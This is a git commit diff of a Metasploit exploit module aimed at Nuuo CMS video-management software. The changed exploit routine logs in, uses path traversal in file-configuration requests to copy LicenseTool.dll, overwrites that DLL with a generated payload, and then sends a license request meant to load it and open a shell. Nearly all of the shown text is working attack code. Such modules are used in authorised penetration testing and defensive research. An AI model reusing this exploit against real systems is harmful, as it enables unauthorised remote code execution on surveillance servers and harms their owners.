parent
80a68de17d
commit
5686319271
|
@ -76,29 +76,47 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
nucs_login
|
||||
def upload_file(filename, data)
|
||||
res = ncs_send_request({
|
||||
'method' => 'COMMITCONFIG',
|
||||
'file_name' => "..\\..\\#{filename}",
|
||||
'user_session' => user_session,
|
||||
'data' => data
|
||||
})
|
||||
end
|
||||
|
||||
unless @nucs_session
|
||||
fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS')
|
||||
end
|
||||
def exploit
|
||||
connect
|
||||
res = ncs_login
|
||||
fail_with(Failure::NoAccess, 'Failed to login to Nuuo CMS') unless res
|
||||
|
||||
# Download and upload a backup of LicenseTool.dll, so that we can restore it at post
|
||||
# and not nuke the CMS installation.
|
||||
@dll = rand_text_alpha(12)
|
||||
print_status("Backing up LicenseTool.dll to #{@dll}")
|
||||
dll_data = nucs_download_file('LicenseTool.dll')
|
||||
nucs_upload_file(@dll, dll_data)
|
||||
|
||||
ltool = 'LicenseTool.dll'
|
||||
res = ncs_send_request({
|
||||
'method' => 'GETCONFIG',
|
||||
'file_name' => "..\\..\\#{ltool}",
|
||||
'user_session' => user_session
|
||||
})
|
||||
dll_data = res.body
|
||||
|
||||
upload_file(@dll, dll_data)
|
||||
|
||||
print_status('Uploading payload...')
|
||||
nucs_upload_file('LicenseTool.dll', generate_payload_dll)
|
||||
upload_file(ltool, generate_payload_dll)
|
||||
|
||||
print_status('Sleeping 15 seconds...')
|
||||
Rex.sleep(15)
|
||||
|
||||
print_status('Sending SENDLICFILE request, shell incoming!')
|
||||
license_data = rand_text_alpha(50..350)
|
||||
nucs_send_msg(['SENDLICFILE', "FileName: #{rand_text_alpha(3..11)}.lic",
|
||||
'Content-Length: ' + license_data.length.to_s], license_data)
|
||||
res = ncs_send_request({
|
||||
'method' => 'SENDLICFILE',
|
||||
'file_name' => "#{rand_text_alpha(3..11)}.lic",
|
||||
'user_session' => user_session,
|
||||
'data' => rand_text_alpha(50..350)
|
||||
})
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue